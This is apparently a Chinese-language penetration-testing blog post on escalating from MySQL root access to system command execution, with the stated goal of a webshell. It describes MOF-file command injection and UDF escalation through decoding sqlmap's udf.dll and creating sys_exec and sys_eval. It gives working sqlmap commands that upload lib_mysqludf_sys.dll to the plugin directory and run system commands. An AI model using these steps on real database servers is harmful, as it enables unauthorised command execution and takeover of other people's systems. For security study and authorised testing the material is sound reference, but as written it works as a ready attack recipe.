mysql-root

 · 2020-5-13 · 次阅读


首先需要知道为什么需要提权?
因为当我们sql注入成功后能获得的数据是很少的,能做的也很少,而web渗透的最初目标都是拿到Webshell,当MYSQL提权成功后就可以执行命令写入shell了(select shell into outfile “path” ).

接下来具体说明一下三种不同的mysql提权方式:

1.利用mof提权

啥是mof?
百度百科里面写的托管对象格式文件,是一种创建和注册提供程序、事件类别和事件的简便方法。
这里使用的Mof也是一种托管对象格式,但是是存储库的MOF文件。

mof提权原理及实现:

关于 mof 提权的原理其实很简单,就是利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行

2.UDF提权

UDF (user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过
自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

windows下udf提权条件:
mysql -v大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
mysql -v<5.1 ,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限。

2.1 如何提权

mysql5.1以上版本必须要把udf.dll文件放到mysql安装目录的lib\plugin下才能创建自定义函数,但是该目录默认不存在,因而还需要webshell去创建?这里感觉有点本末倒置了。本来为了拿webshell的。

而udf.dll这个文件还不好找,但sqlmap里面就有,路径:sqlmap/udf/mysql/windows
同时要注意位数,这里的32位或者64位取决于对方mysql的位数。

还有sqlmap里的udf.dll需要解码,因为其是异或编码的,使用sqlmap/extra/cloak下的cloak.py即可解密。

然后在当前目录生成dll文件后复制到mysql的lib/plugin目录下,执行:

create function cmdshell returns string soname "lib_mysqludf_sys.dll";

这里需要注意,上面是不成功的,只有udf中存在的函数才可以,因而可以用十六进制编辑器打开udf.dll可以发现:
func

因而可以使用sys_exec函数。

create function sys_exec returns string soname "lib_mysqludf_sys.dll";

接下来就可以进行命令执行了成功提权。

3.利用sqlmap提权

3.1连接mysql数据打开一个交互shell:

sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell
select @@version;
select @@plugin_dir;
d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\

3.2 利用sqlmap上传lib_mysqludf_sys到MYSQL插件目录

sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll --file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll
CREATE FUNCTION sys_exec RETURNS STRING SONAME ‘lib_mysqludf_sys.dll‘
CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘lib_mysqludf_sys.dll‘
select sys_eval(‘ver‘);